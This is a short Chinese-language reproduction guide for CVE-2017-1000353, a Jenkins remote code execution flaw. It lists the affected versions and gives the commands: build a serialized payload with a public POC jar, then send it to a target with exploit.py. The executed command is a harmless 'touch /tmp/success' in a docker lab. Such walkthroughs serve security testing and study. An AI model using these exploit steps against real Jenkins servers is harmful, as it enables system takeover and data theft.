跳转至

(CVE-2017-1000353)Jenkins-CI 远程代码执行漏洞

一、漏洞简介

该漏洞存在于使用HTTP协议的双向通信通道的具体实现代码中,Jenkins利用此通道来接收命令,恶意攻击者可以构造恶意攻击参数远程执行命令,从而获取系统权限,造成数据泄露。

二、漏洞影响

  • 所有Jenkins主版本均受到影响(包括<=2.56版本)
  • 所有Jenkins LTS 均受到影响( 包括<=2.46.1版本)

三、复现过程

步骤一、生成序列化字符串

参考https://github.com/ianxtianxt/CVE-2017-1000353,首先下载CVE-2017-1000353-1.1-SNAPSHOT-all.jar,这是生成POC的工具。

执行下面命令,生成字节码文件:

java -jar CVE-2017-1000353-1.1-SNAPSHOT-all.jar jenkins_poc.ser "touch /tmp/success"
# jenkins_poc.ser是生成的字节码文件名
# "touch ..."是待执行的任意命令

执行上述代码后,生成jenkins_poc.ser文件,这就是序列化字符串。

步骤二、发送数据包,执行命令

下载exploit.py,python3执行python exploit.py http://www.0-sec.org:8080 jenkins_poc.ser,将刚才生成的字节码文件发送给目标:

进入docker,发现/tmp/success成功被创建,说明命令执行漏洞利用成功:

参考链接

https://vulhub.org/#/environments/jenkins/CVE-2017-1000353/